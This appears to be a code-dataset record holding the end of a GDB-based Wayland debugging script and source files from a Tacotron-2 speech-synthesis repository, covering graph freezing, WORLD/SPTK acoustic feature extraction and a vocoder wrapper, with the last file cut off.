closure_message = closure['message']\n message_name = closure_message['name'].string()\n # The signiture is that stupid '2uufo?i' thing that has the type info\n signiture = closure_message['signature'].string()\n message_types = closure_message['types']\n closure_args = closure['args']\n args = []\n i = 0\n for c in signiture:\n # If its not a version number or '?' optional indicator\n if c in type_codes:\n # Pull out the right union member at the right index\n value = closure_args[i][c]\n if c == 'i' or c == 'u':\n args.append(wl.Arg.Primitive(int(value)))\n elif c == 'f':\n # Math is ripped out of wl_fixed_to_double() in libwayland\n f = float(gdb.parse_and_eval('(double)(void*)(((1023LL + 44LL) << 52) + (1LL << 51) + ' + str(value) + ') - (3LL << 43)'))\n args.append(wl.Arg.Primitive(f))\n elif c == 's':\n args.append(wl.Arg.Primitive(value.string()))\n elif c == 'a':\n args.append(wl.Arg.Unknown('array'))\n elif c == 'h':\n args.append(wl.Arg.Fd(int(value)))\n elif gdb_is_null(value):\n assert c == 'o'\n args.append(wl.Arg.Primitive(None))\n else:\n assert c == 'n' or c == 'o'\n arg_type = message_types[i]\n arg_type_name = None\n if not gdb_is_null(arg_type):\n arg_type_name = arg_type['name'].string()\n if c == 'n':\n arg_id = int(value)\n is_new = True\n else:\n arg_id = int(value['id'])\n is_new = False\n args.append(wl.Arg.Object(wl.Object.Unresolved(arg_id, arg_type_name), is_new))\n i += 1\n message = wl.Message(0, wl.Object.Unresolved(obj_id, obj_type), send, message_name, args)\n return (connection_addr, message)\n\ndef invoke_wl_command(session, cmd):\n session.set_stopped(True)\n session.command(cmd)\n if session.quit():\n gdb.execute('quit')\n elif not session.stopped():\n gdb.execute('continue')\n\nclass WlConnectionDestroyBreakpoint(gdb.Breakpoint):\n def __init__(self, session):\n super().__init__('wl_connection_destroy')\n self.session = session\n def stop(self):\n connection_id = str(gdb.selected_frame().read_var('connection'))\n self.session.close_connection(connection_id)\n return False\n\nclass WlConnectionCreateBreakpoint(gdb.Breakpoint):\n def __init__(self, session):\n super().__init__('wl_connection_create')\n self.session = session\n def stop(self):\n self.FinishBreakpoint(self.session)\n return False\n\n class FinishBreakpoint(gdb.FinishBreakpoint):\n def __init__(self, session):\n super().__init__(gdb.selected_frame())\n self.session = session\n def stop(self):\n connection_id = str(self.return_value)\n self.session.open_connection(connection_id)\n return False\n\nclass WlClosureCallBreakpoint(gdb.Breakpoint):\n def __init__(self, session, name, send):\n super().__init__('wl_closure_' + name)\n self.session = session\n self.send = send\n def stop(self):\n connection_id, message = process_closure(self.send)\n self.session.message(connection_id, message)\n return self.session.stopped()\n\nclass WlCommand(gdb.Command):\n 'Issue a subcommand to Wayland Debug, use \\'wl help\\' for details'\n def __init__(self, name, session):\n super().__init__(name, gdb.COMMAND_DATA)\n self.session = session\n def invoke(self, arg, from_tty):\n invoke_wl_command(self.session, arg)\n def complete(text, word):\n return None\n\nclass WlSubcommand(gdb.Command):\n 'A Wayland debug command, use \\'wl help\\' for detail'\n def __init__(self, name, session):\n super().__init__('wl' + name, gdb.COMMAND_DATA)\n self.session = session\n self.cmd = name\n def invoke(self, arg, from_tty):\n invoke_wl_command(self.session, self.cmd + ' ' + arg)\n def complete(text, word):\n return None\n\ndef main(session):\n gdb.execute('set python print-stack full')\n if not session.out.show_unprocessed:\n gdb.execute('set inferior-tty /dev/null')\n WlConnectionCreateBreakpoint(session)\n WlConnectionDestroyBreakpoint(session)\n WlClosureCallBreakpoint(session, 'invoke', False)\n WlClosureCallBreakpoint(session, 'dispatch', False)\n WlClosureCallBreakpoint(session, 'send', True)\n WlClosureCallBreakpoint(session, 'queue', True)\n WlCommand('w', session)\n WlCommand('wl', session)\n WlCommand('wayland', session)\n for c in session.commands:\n WlSubcommand(c.name, session)\n session.out.log('Breakpoints: ' + repr(gdb.breakpoints()))\n try:\n result = check_libwayland()\n if result == None:\n session.out.log('libwayland found with debug symbols')\n else:\n session.out.log(result)\n session.out.error('Installed libwayland lacks debug symbols, GDB mode will not function')\n except RuntimeError as e:\n session.out.warn('Checking libwayland failed: ' + str(e))\n" } ]
8
Coastchb/Tacotron-2
https://github.com/Coastchb/Tacotron-2
f5be90da939b456191750205b6e194d671c5c466
0a61c8ff4fadfbd9d4157ee93b875e7d79fd750c
956006041a21302becd53689e2e8f8ac9b3bae90
refs/heads/master
2020-04-15T14:43:02.121758
2019-02-17T15:24:22
2019-02-17T15:24:22
164,764,410
0
0
MIT
2019-01-09T01:41:17
2019-01-08T13:28:29
2019-01-05T13:45:59
null
[ { "alpha_fraction": 0.6534932851791382, "alphanum_fraction": 0.6633733510971069, "avg_line_length": 39.514286041259766, "blob_id": "dab63b97c80c3174295627e9437ac9a878dbb2d2", "content_id": "06dd302fe493246e40e2f6b3ef63f6211e137389", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1417, "license_type": "permissive", "max_line_length": 115, "num_lines": 35, "path": "/freeze.py", "repo_name": "Coastchb/Tacotron-2", "src_encoding": "UTF-8", "text": "from tacotron.models import create_model\nimport tensorflow as tf\nfrom hparams import hparams\nfrom tensorflow.python.framework import graph_util\nimport os\n\ncheckpoint_dir = \"data/LJSpeech-1.1/logs-Tacotron/taco_pretrained/\"\ncheckpoint_path = tf.train.latest_checkpoint(checkpoint_dir)\noutput_file = \"tf.pb_gpu_2\"\n\nsess = tf.InteractiveSession()\n\nwith tf.variable_scope('Tacotron_model', reuse=tf.AUTO_REUSE) as scope:\n with tf.device(\"/cpu:0\"):\n inputs = tf.placeholder(tf.int32, [1, None], name=\"text\")\n inputs_len = tf.placeholder(tf.int32, [1], name=\"text_len\")\n split_infos = tf.placeholder(tf.int32, shape=(hparams.tacotron_num_gpus, None), name='split_infos')\n model = create_model(\"Tacotron\", hparams)\n model.initialize(inputs, inputs_len, is_training=False, is_evaluating=False, split_infos = split_infos)\n print(\"#######\")\n print(model.tower_mel_outputs)\n # output = model.tower_mel_outputs[0][0]\n # tf.identity(output, \"mel_target\", )\n\n saver = tf.train.Saver(tf.global_variables())\n saver.restore(sess, checkpoint_path)\n\nfrozen_graph_def = graph_util.convert_variables_to_constants(\n sess, sess.graph_def, ['Tacotron_model/mel_outputs'])\n\ntf.train.write_graph(\n frozen_graph_def,\n os.path.dirname(output_file),\n os.path.basename(output_file),\n as_text=False)" }, { "alpha_fraction": 0.4996194839477539, "alphanum_fraction": 0.5247336626052856, "avg_line_length": 40.730159759521484, "blob_id": "4bd765ea18743b6b7ce47271e33dc6ef28b9e82a", "content_id": "2ea18674c89e2b8454134866e2c183474d170c88", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2634, "license_type": "permissive", "max_line_length": 97, "num_lines": 63, "path": "/local/extract_acoustic_feat.py", "repo_name": "Coastchb/Tacotron-2", "src_encoding": "UTF-8", "text": "# -*- coding:utf-8 -*- \n#@Time: 19-1-9 ไธ‹ๅˆ9:51\n#@Author: Coast Cao\nfrom argparse import ArgumentParser as ARP\nimport os\nimport shutil\n\ndef extract_acoustic_feat(args):\n wav_resamp = os.path.join(args.data_root, \"wav_re\")\n lf0_dir = os.path.join(args.data_root, \"lf0\")\n mgc_dir = os.path.join(args.data_root, \"mgc\")\n bap_dir = os.path.join(args.data_root, \"bap\")\n\n # for 16kHz wav\n tar_fs = 16000\n nFFTHalf = 1024\n alpha = 0.58\n mcsize = 59\n\n for dire in [lf0_dir, mgc_dir, bap_dir, wav_resamp]:\n if(os.path.exists(dire)):\n shutil.rmtree(dire)\n os.makedirs(dire, exist_ok=False)\n\n wav_dir = os.path.join(args.data_root, \"wav\")\n wav_files = os.listdir(wav_dir)\n for wav_file in wav_files:\n filename = wav_file.split(\".\")[0]\n # currently just downsample wav to 16kHz\n os.system(\"sox %s/%s -r %d %s/%s\" % (wav_dir, wav_file, tar_fs, wav_resamp, wav_file))\n # extract f0,sp,ap\n os.system(\"%s/WORLD/analysis %s/%s %s/%s.f0 %s/%s.sp %s/%s.bapd\" %\n (args.binary_root, wav_resamp, wav_file, lf0_dir, filename,\n mgc_dir, filename, bap_dir, filename))\n # convert f0 to lf0\n os.system(\"%s/SPTK/x2x +da %s/%s.f0 > %s/%s.f0a\" %\n (args.binary_root, lf0_dir, filename, lf0_dir, filename))\n os.system(\"%s/SPTK/x2x +af %s/%s.f0a | %s/SPTK/sopr -magic 0.0 -LN \"\n \"-MAGIC -1.0E+10 > %s/%s.lf0\" % (args.binary_root, lf0_dir,\n filename, args.binary_root,\n lf0_dir, filename))\n # convertใ€€sp to mgc\n os.system(\"%s/SPTK/x2x +df %s/%s.sp | %s/SPTK/sopr -R -m 32768.0 | \"\n \"%s/SPTK/mcep -a %f -m %d -l %d -e 1.0E-8 -j 0 -f 0.0 -q 3 \"\n \"> %s/%s.mgc\" % (args.binary_root, mgc_dir, filename,args.binary_root,\n args.binary_root, alpha, mcsize, nFFTHalf, mgc_dir, filename))\n # convert ap to bap\n os.system(\"%s/SPTK/x2x +df %s/%s.bapd > %s/%s.bap\" % (args.binary_root, bap_dir,\n filename, bap_dir, filename))\n\ndef main():\n arp = ARP(description=\"extract audio acoustic feature\")\n arp.add_argument(\"--br\", dest=\"binary_root\", default=\"bin/\",\n help=\"location of binaries\")\n arp.add_argument(\"--dr\", dest=\"data_root\", default=\"data/LJ\",\n help=\"root directory of the data\")\n args = arp.parse_args()\n\n extract_acoustic_feat(args)\n\n\nif __name__ == \"__main__\":\n main()" }, { "alpha_fraction": 0.5823708176612854, "alphanum_fraction": 0.6224923729896545, "avg_line_length": 27.379310607910156, "blob_id": "a3726254c2f17197c4abcf5512f6534a8d233d0b", "content_id": "3fc25dda59ca820a47e46c18de9e70eeb8cea2ac", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1645, "license_type": "permissive", "max_line_length": 105, "num_lines": 58, "path": "/py-world/example/prosody.py", "repo_name": "Coastchb/Tacotron-2", "src_encoding": "UTF-8", "text": "from pathlib import Path\n\nimport numpy as np\nfrom scipy.io.wavfile import read as wavread\nfrom scipy.io.wavfile import write as wavwrite\nfrom scipy import signal\n\nfrom world import main\n\nwav_path = Path('../test/test-mwm.wav')\nprint(wav_path)\nfs, x_int16 = wavread(wav_path)\nx = x_int16 / (2 ** 15 - 1)\n\nif 0: # resample\n fs_new = 16000\n x = signal.resample_poly(x, fs_new, fs)\n fs = fs_new\n\nif 0: # low-cut\n B = signal.firwin(127, [0.01], pass_zero=False)\n A = np.array([1.0])\n if 0:\n import matplotlib.pyplot as plt\n w, H = signal.freqz(B, A)\n\n fig, (ax1, ax2) = plt.subplots(2, figsize=(16, 6))\n ax1.plot(w / np.pi, abs(H))\n ax1.set_ylabel('magnitude')\n ax2.plot(w / np.pi, np.unwrap(np.angle(H)))\n ax2.set_ylabel('unwrapped phase')\n plt.show()\n x = signal.lfilter(B, A, x)\n\nvocoder = main.World()\n\n# analysis\ndat = vocoder.encode(fs, x, f0_method='harvest', is_requiem=True) # use requiem analysis and synthesis\nif 0: # global pitch scaling\n dat = vocoder.scale_pitch(dat, 1.5)\nif 0: # global duration scaling\n dat = vocoder.scale_duration(dat, 2)\nif 0: # fine-grained duration modification\n vocoder.modify_duration(dat, [1, 1.5], [0, 1, 3, -1]) # TODO: look into this\n\n\n# dat['f0'] = np.r_[np.zeros(5), dat['f0'][:-5]]\n\n# synthesis\ndat = vocoder.decode(dat)\nif 0: # audio\n import simpleaudio as sa\n snd = sa.play_buffer((dat['out'] * 2 ** 15).astype(np.int16), 1, 2, fs)\n snd.wait_done()\nif 0: # visualize\n vocoder.draw(x, dat)\n\nwavwrite(wav_path.with_name(wav_path.stem + '-resynth.wav'), fs, (dat['out'] * 2 ** 15).astype(np.int16))" }, { "alpha_fraction": 0.546303927898407, "alphanum_fraction": 0.564715564250946, "avg_line_length": 41.97637939453125, "blob_id": "d56b73c5568d2e961c943614022b2f7f094da51b", "content_id": "c26b638d6a13eb8cf7404de0290463e08f694482", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10917, "license_type": "permissive", "max_line_length": 152, "num_lines": 254, "path": "/py-world/world/main.py", "repo_name": "Coastchb/Tacotron-2", "src_encoding": "UTF-8", "text": "import logging\nimport sys\nfrom typing import Iterable\n\n# 3rd party imports\nimport numpy as np\n# import matplotlib.pyplot as plt\nfrom scipy.io.wavfile import read as wavread\n\n# local imports\nfrom .dio import dio\nfrom .stonemask import stonemask\nfrom .harvest import harvest\nfrom .cheaptrick import cheaptrick\nfrom .d4c import d4c\nfrom .d4cRequiem import d4cRequiem\nfrom .get_seeds_signals import get_seeds_signals\nfrom .synthesis import synthesis\nfrom .synthesisRequiem import synthesisRequiem\nfrom .swipe import swipe\n\n\nclass World(object):\n def get_f0(self, fs: int, x: np.ndarray, f0_method: str = 'harvest', f0_floor: int = 71, f0_ceil: int = 800,\n channels_in_octave: int = 2, target_fs: int = 4000, frame_period: int = 5) -> tuple:\n \"\"\"\n :param fs: sample frequency\n :param x: signal\n :param f0_method: f0 extraction method: dio, harvest\n :param f0_floor: smallest f0\n :param f0_ceil: largest f0\n :param channels_in_octave:\n :param target_fs: downsampled frequency for f0 extraction\n :param frame_period: in ms\n :return:\n \"\"\"\n if f0_method == 'dio':\n source = dio(x, fs, f0_floor, f0_ceil, channels_in_octave, target_fs, frame_period)\n source['f0'] = stonemask(x, fs, source['temporal_positions'], source['f0'])\n elif f0_method == 'harvest':\n source = harvest(x, fs, f0_floor, f0_ceil, frame_period)\n elif f0_method == 'swipe':\n source = swipe(fs, x, plim=[f0_floor, f0_ceil],sTHR=0.3)\n else:\n raise Exception\n return source['temporal_positions'], source['f0'], source['vuv'] # or a dict\n\n def get_spectrum(self, fs: int, x: np.ndarray, f0_method: str = 'harvest', f0_floor: int = 71, f0_ceil: int = 800,\n channels_in_octave: int = 2, target_fs: int = 4000, frame_period: int = 5, fft_size=None) -> dict:\n '''\n This function extract pitch-synchronous WORLD spectrogram\n :param fs: sampling frequency\n :param x: signal (in float)\n :param f0_method: dio, harvest, swipe\n :param f0_floor: f0 min\n :param f0_ceil: f0 max\n :param frame_period: frame shift\n :param fft_size: fourier transform length\n :param: channels_in_octave: channels per octave\n :return:\n '''\n if f0_method == 'dio':\n source = dio(x, fs, f0_floor, f0_ceil, channels_in_octave, target_fs, frame_period)\n source['f0'] = stonemask(x, fs, source['temporal_positions'], source['f0'])\n elif f0_method == 'harvest':\n source = harvest(x, fs, f0_floor, f0_ceil, frame_period)\n elif f0_method == 'swipe':\n source = swipe(fs, x, plim=[f0_floor, f0_ceil],sTHR=0.3)\n else:\n raise Exception\n filter = cheaptrick(x, fs, source, fft_size=fft_size)\n return {'f0': source['f0'],\n 'temporal_positions': source['temporal_positions'],\n 'fs': fs,\n 'ps spectrogram': filter['ps spectrogram'],\n 'spectrogram': filter['spectrogram']}\n\n def encode_w_gvn_f0(self, fs: int, x: np.ndarray, source: dict, fft_size=None, is_requiem: bool=False) -> dict:\n '''\n Do WORLD pitch-synchronous analysis with given F0 contour\n :param fs: sampling rate\n :param x: signal\n :param source: a dictionary contains source['temporal_positions'] time in second, source['f0'] f0 contour and source['vuv'] voice/unvoice\n :param fft_size: length of Fourier transform\n :return: a dictionary contains WORLD's components\n '''\n assert np.all(source['f0'] >= 3 * fs / fft_size)\n filter = cheaptrick(x, fs, source, fft_size=fft_size)\n if is_requiem:\n source = d4cRequiem(x, fs, source, fft_size=fft_size)\n else:\n source = d4c(x, fs, source, fft_size_for_spectrum=fft_size)\n return {'temporal_positions': source['temporal_positions'],\n 'vuv': source['vuv'],\n 'f0': source['f0'],\n 'fs': fs,\n 'spectrogram': filter['spectrogram'],\n 'aperiodicity': source['aperiodicity'],\n 'coarse_ap': source['coarse_ap'],\n 'is_requiem': is_requiem\n }\n\n def encode(self, fs: int, x: np.ndarray, f0_method: str = 'harvest', f0_floor: int = 71, f0_ceil: int = 800,\n channels_in_octave: int = 2, target_fs: int = 4000, frame_period: int = 5,\n allowed_range: float = 0.1, fft_size=None, is_requiem: bool=False) -> dict:\n '''\n encode speech to excitation signal, f0, spectrogram\n\n :param fs: sample frequency\n :param x: signal\n :param f0_method: f0 extraction method: dio, harvest\n :param f0_floor: smallest f0\n :param f0_ceil: largest f0\n :param channels_in_octave: number of channels per octave\n :param target_fs: downsampled frequency for f0 extraction\n :param frame_period: in ms\n :param allowed_range:\n :param fft_size: length of Fourier transform\n :return: a dictionary contains WORLD components\n '''\n if fft_size != None:\n f0_floor = 3.0 * fs / fft_size\n if f0_method == 'dio':\n source = dio(x, fs,\n f0_floor=f0_floor, f0_ceil=f0_ceil, channels_in_octave=channels_in_octave, target_fs=target_fs,\n frame_period=frame_period, allowed_range=allowed_range)\n source['f0'] = stonemask(x, fs, source['temporal_positions'], source['f0'])\n elif f0_method == 'harvest':\n source = harvest(x, fs,\n f0_floor=f0_floor, f0_ceil=f0_ceil, frame_period=frame_period)\n elif f0_method == 'swipe':\n source = swipe(fs, x, plim=[f0_floor, f0_ceil], sTHR=0.3)\n else:\n raise Exception\n filter = cheaptrick(x, fs, source, fft_size=fft_size)\n if is_requiem:\n source = d4cRequiem(x, fs, source, fft_size=fft_size)\n else:\n source = d4c(x, fs, source, fft_size_for_spectrum=fft_size)\n\n return {'temporal_positions': source['temporal_positions'],\n 'vuv': source['vuv'],\n 'fs': filter['fs'],\n 'f0': source['f0'],\n 'aperiodicity': source['aperiodicity'],\n 'ps spectrogram': filter['ps spectrogram'],\n 'spectrogram': filter['spectrogram'],\n 'is_requiem': is_requiem\n }\n\n def scale_pitch(self, dat: dict, factor: float) -> dict:\n '''\n the function does pitch scaling\n :param dat: WORLD components (F0, spectrogram, aperiodicity)\n :param factor: scaling factor\n :return: scaled pitch.\n '''\n dat['f0'] *= factor\n return dat\n\n def set_pitch(self, dat: dict, time: np.ndarray, value: np.ndarray) -> dict:\n raise NotImplementedError # TODO: need to resample to set values at given temporal positions (which are presumably shared with the spectrogram)\n dat['f0'] = value\n dat['temporal_positions'] = time\n return dat\n\n def scale_duration(self, dat: dict, factor: float) -> dict:\n '''\n the function does duration scaling\n :param dat: WORLD components (F0, spectrogram, aperiodicity)\n :param factor: scaling factor\n :return: scaled event-time to speech up or slow down the speech\n '''\n dat['temporal_positions'] *= factor\n return dat\n\n def modify_duration(self, dat: dict, from_time: Iterable, to_time: Iterable) -> dict:\n end = dat['temporal_positions'][-1]\n assert np.all(np.diff(from_time)) > 0\n assert np.all(np.diff(to_time)) > 0\n assert from_time[0] > 0\n assert from_time[-1] < end\n from_time = np.r_[0, from_time, end]\n if to_time[-1] == -1:\n to_time[-1] = end\n dat['temporal_positions'] = np.interp(dat['temporal_positions'], from_time, to_time)\n\n def warp_spectrum(self, dat: dict, factor: float) -> dict:\n dat['spectrogram'][:] = np.array([np.interp((np.arange(0, len(s)) / len(s)) ** factor,\n (np.arange(0, len(s)) / len(s)),\n s)\n for s in dat['spectrogram'].T]).T\n return dat\n\n def decode(self, dat: dict) -> dict:\n '''\n This function combine WORLD components (F0, spectrogram, and aperiodicity) to make sound signal\n :param dat: contains WORLD components\n :return: a dictionary contains synthesized speech and WORLD components\n '''\n if dat['is_requiem']:\n seeds_signals = get_seeds_signals(dat['fs'])\n y = synthesisRequiem(dat, dat, seeds_signals)\n else:\n y = synthesis(dat, dat)\n m = np.max(np.abs(y))\n if m > 1.0:\n logging.info('rescaling waveform')\n y /= m\n dat['out'] = y\n return dat\n\n def draw(self, x: np.ndarray, dat: dict):\n '''\n An example of visualize WORLD components, original signal, synthesized signal\n '''\n from matplotlib import pyplot as plt\n\n fs = dat['fs']\n time = dat['temporal_positions']\n y = dat['out']\n\n fig, ax = plt.subplots(nrows=5, figsize=(8, 6), sharex=True)\n ax[0].set_title('input signal and resynthesized-signal')\n ax[0].plot(np.arange(len(x)) / fs, x, alpha=0.5)\n ax[0].plot(np.arange(len(y)) / fs, y, alpha=0.5)\n ax[0].set_xlabel('samples')\n ax[0].legend(['original', 'synthesis'])\n\n X = dat['ps spectrogram']\n X = np.where(X==0, sys.float_info.epsilon, X)\n ax[1].set_title('pitch-synchronous spectrogram')\n ax[1].imshow(20 * np.log10(np.abs(X[:X.shape[0] // 2, :])), cmap=plt.cm.gray_r, origin='lower',\n extent=[0, len(x) / fs, 0, fs / 2], aspect='auto')\n ax[1].set_ylabel('frequency (Hz)')\n\n ax[2].set_title('phase spectrogram')\n ax[2].imshow(np.diff(np.unwrap(np.angle(X[:X.shape[0] // 2, :]), axis=1), axis=1), cmap=plt.cm.gray_r,\n origin='lower',\n extent=[0, len(x) / fs, 0, fs / 2], aspect='auto')\n ax[2].set_ylabel('frequency (Hz)')\n\n ax[3].set_title('WORLD spectrogram')\n Y = dat['spectrogram']\n Y = np.where(Y < sys.float_info.epsilon, sys.float_info.epsilon, Y)\n ax[3].imshow(20 * np.log10(Y), cmap=plt.cm.gray_r, origin='lower',\n extent=[0, len(x) / fs, 0, fs / 2], aspect='auto')\n ax[3].set_ylabel('frequency (Hz)')\n\n ax[4].set_title('WORLD fundamental frequency')\n ax[4].plot(time, dat['f0'])\n ax[4].set_ylabel('time (s)')\n\n plt.show()\n\n" }, { "alpha_fraction": 0.7837837934494019, "alphanum_fraction": 0.7837837934494019, "avg_line_length": 36, "blob_id": "b6adf9f419b35cdcf48b16d8cc6072c34a5f4ea4", "content_id": "9760f370ac7303a208d482835c99289252966a6f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 37, "license_type": "permissive", "max_line_length": 36, "num_lines": 1, "path": "/path.sh", "repo_name": "Coastchb/Tacotron-2", "src_encoding": "UTF-8", "text": "export PATH=$PATH:bin/WORLD:bin/SPTK\n" }, { "alpha_fraction": 0.4324324429035187, "alphanum_fraction": 0.6756756901741028, "avg_line_length": 14, "blob_id": "79ee8651f48e0174f30ac3592e74e353e895bbbb", "content_id": "1ed752f1889916f73caa17ca5e083beb8621fefa", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 74, "license_type": "permissive", "max_line_length": 18, "num_lines": 5, "path": "/py-world/requirements.txt", "repo_name": "Coastchb/Tacotron-2", "src_encoding": "UTF-8", "text": "numpy==1.14.2\nscipy==1.1.0\nnumba==0.37.0\ncython==0.27.3\nsimpleaudio==1.0.2" }, { "alpha_fraction": 0.6784277558326721, "alphanum_fraction": 0.6951408386230469, "avg_line_length": 37.694610595703125, "blob_id": "9f77c8562b87321b1166bf1dcf05c9922b43466c", "content_id": "99f623a2a7a47faf9c7e201d74035d762cebb75b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6464, "license_type": "permissive", "max_line_length": 146, "num_lines": 167, "path": "/datasets/preprocessor.py", "repo_name": "Coastchb/Tacotron-2", "src_encoding": "UTF-8", "text": "import os\nfrom concurrent.futures import ProcessPoolExecutor\nfrom functools import partial\n\nimport numpy as np\nfrom datasets import audio\nfrom wavenet_vocoder.util import is_mulaw, is_mulaw_quantize, mulaw, mulaw_quantize\nimport shutil\nfrom nnmnkwii.preprocessing import interp1d\nimport soundfile as sf\n\ndef build_from_path(hparams, input_dir, cmp_dir, linear_dir, n_jobs=12, tqdm=lambda x: x):\n\t\"\"\"\n\tPreprocesses the speech dataset from a gven input path to given output directories\n\n\tArgs:\n\t\t- hparams: hyper parameters\n\t\t- input_dir: input directory that contains the files to prerocess\n\t\t- mel_dir: output directory of the preprocessed speech mel-spectrogram dataset\n\t\t- linear_dir: output directory of the preprocessed speech linear-spectrogram dataset\n\t\t- wav_dir: output directory of the preprocessed speech audio dataset\n\t\t- n_jobs: Optional, number of worker process to parallelize across\n\t\t- tqdm: Optional, provides a nice progress bar\n\n\tReturns:\n\t\t- A list of tuple describing the train examples. this should be written to train.txt\n\t\"\"\"\n\n\t# We use ProcessPoolExecutor to parallelize across processes, this is just for\n\t# optimization purposes and it can be omited\n\n\texecutor = ProcessPoolExecutor(max_workers=n_jobs)\n\tfutures = []\n\tlf0_dir = os.path.join(input_dir, \"lf0\")\n\tmgc_dir = os.path.join(input_dir, \"mgc\")\n\tbap_dir = os.path.join(input_dir, \"bap\")\n\tfor dire in [lf0_dir, mgc_dir, bap_dir]:\n\t\t#if (os.path.exists(dire)):\n\t\t#\tshutil.rmtree(dire)\n\t\tos.makedirs(dire, exist_ok=True)\n\twith open(os.path.join(input_dir, 'metadata.csv'), encoding='utf-8') as f:\n\t\tfor line in f:\n\t\t\tparts = line.strip().split('|')\n\t\t\tbasename = parts[0]\n\t\t\twav_path = os.path.join(input_dir, 'wavs', '{}.wav'.format(basename))\n\t\t\ttext = parts[1]\n\t\t\tfutures.append(executor.submit(partial(_process_utterance, lf0_dir, mgc_dir, bap_dir, cmp_dir, linear_dir, basename, wav_path, text, hparams)))\n\n\treturn [future.result() for future in tqdm(futures) if future.result() is not None]\n\n\ndef _process_utterance(lf0_dir, mgc_dir, bap_dir, cmp_dir, linear_dir, basename, wav_path, text, hparams):\n\t\"\"\"\n\tPreprocesses a single utterance wav/text pair\n\n\tthis writes the mel scale spectogram to disk and return a tuple to write\n\tto the train.txt file\n\n\tArgs:\n\t\t- mel_dir: the directory to write the mel spectograms into\n\t\t- linear_dir: the directory to write the linear spectrograms into\n\t\t- wav_dir: the directory to write the preprocessed wav into\n\t\t- basename:\n\t\t- wav_path: path to the audio file containing the speech input\n\t\t- text: text spoken in the input audio file\n\t\t- hparams: hyper parameters\n\n\tReturns:\n\t\t- A tuple: (audio_filename, mel_filename, linear_filename, time_steps, mel_frames, linear_frames, text)\n\t\"\"\"\n\n\tif hparams.trim_silence:\n\t\ttar_wavfile = wav_path[:-4] + \"_trim.wav\"\n\t\tprint(\"raw wav path:%s\" % wav_path)\n\t\twav_raw, fs = sf.read(wav_path)\n\t\twav_trim = audio.trim_silence(wav_raw, hparams)\n\t\tsf.write(tar_wavfile, wav_trim, fs)\n\n\t\twav_path = tar_wavfile\n\n\tnFFTHalf, alpha, bap_dim = audio.get_config(hparams.sample_rate)\n\n\tmcsize = hparams.num_mgc - 1\n\n\tfilename = basename #os.path.basename(wav_path).split(\".\")[0]\n\n\tprint('extract feats for %s' % wav_path)\n\n\t# extract f0,sp,ap\n\tos.system(\"analysis %s %s/%s.f0 %s/%s.sp %s/%s.bapd\" %\n\t\t\t\t (wav_path, lf0_dir, filename,\n\t\t\t\t mgc_dir, filename, bap_dir, filename)) # get float64???\n\n # interpolate f0\n\tf0 = np.fromfile(\"%s/%s.f0\" % (lf0_dir, filename),dtype=np.float64)\n\tcontinuous_f0 = interp1d(f0, kind=\"slinear\")\n\tcontinuous_f0.tofile(\"%s/%s.f0c\" % (lf0_dir, filename))\n\n\t# convert f0 to lf0\n\tos.system(\"x2x +da %s/%s.f0c > %s/%s.f0a\" % (lf0_dir, filename, lf0_dir, filename))\n\tos.system(\"x2x +af %s/%s.f0a | sopr -magic 0.0 -LN -MAGIC -1.0E+10 > %s/%s.lf0\" % (\n\t\tlf0_dir, filename, lf0_dir, filename))\n\n\t# convertใ€€sp to mgc\n\tos.system(\"x2x +df %s/%s.sp | sopr -R -m 32768.0 | \"\n\t\t\t \"mcep -a %f -m %d -l %d -e 1.0E-8 -j 0 -f 0.0 -q 3 \"\n\t\t\t \"> %s/%s.mgc\" % (mgc_dir, filename, alpha, mcsize, nFFTHalf, mgc_dir, filename))\n\n\t# convert ap to bap\n\tos.system(\"x2x +df %s/%s.bapd > %s/%s.bap\" %\n\t\t\t (bap_dir, filename, bap_dir, filename))\n\n\t# merge mgc,lf0 and bap to cmp\n\tos.system(\"merge +f -s 0 -l 1 -L %d %s/%s.mgc < %s/%s.lf0 > %s/%s.ml\" %\n\t\t\t((mcsize+1), mgc_dir, filename, lf0_dir, filename, cmp_dir, filename))\n\tos.system(\"merge +f -s 0 -l %d -L %d %s/%s.ml < %s/%s.bap > %s/%s.cmp\" %\n\t\t\t(bap_dim, (mcsize+2), cmp_dir, filename, bap_dir, filename, cmp_dir, filename))\n\n\t#if mel_frames > hparams.max_mel_frames and hparams.clip_mels_length:\n\t#\treturn None\n\n\t#Compute the linear scale spectrogram from the wav\n\twav = audio.load_wav(wav_path, hparams.sample_rate)\n\tlinear_spectrogram = audio.linearspectrogram(wav, hparams).astype(np.float32)\n\tlinear_frames = linear_spectrogram.shape[1]\n\n\t#sanity check\n\t#assert linear_frames == mel_frames\n\n\tlf0 = np.fromfile(\"%s/%s.lf0\" % (lf0_dir, filename), dtype=np.float32)\n\tmgc = np.fromfile(\"%s/%s.mgc\" % (mgc_dir, filename), dtype=np.float32)\n\tbap = np.fromfile(\"%s/%s.bap\" % (bap_dir, filename), dtype=np.float32)\n\tcmp = np.fromfile(\"%s/%s.cmp\" % (cmp_dir, filename), dtype=np.float32)\n\n\tcmp_dim = mcsize + 1 + 1 + bap_dim\n\tcmp_frames = cmp.shape[0] / cmp_dim\n\t#print(f0[:100])\n\t#print(continuous_f0[:100])\n\tprint(lf0.shape)\n\tprint(continuous_f0.shape)\n\tprint(mgc.shape)\n\tprint(bap.shape)\n\tprint(cmp_frames)\n\tprint(continuous_f0.dtype)\n\tprint(mgc.dtype)\n\tprint(bap.dtype)\n\tassert (mgc.shape[0]/(mcsize+1)) == (continuous_f0.shape[0]/1) == (bap.shape[0]/bap_dim) == cmp_frames\n\tassert cmp_dim == hparams.num_mels\n\t#assert len(out) >= cmp_frames * audio.get_hop_size(hparams)\n\n\t#time resolution adjustement\n\t#ensure length of raw audio is multiple of hop size so that we can use\n\t#transposed convolution to upsample\n\t#out = out[:mel_frames * audio.get_hop_size(hparams)]\n\t#assert len(out) % audio.get_hop_size(hparams) == 0\n\t#time_steps = len(out)\n\n\t# Write the spectrogram and audio to disk\n\t#audio_filename = 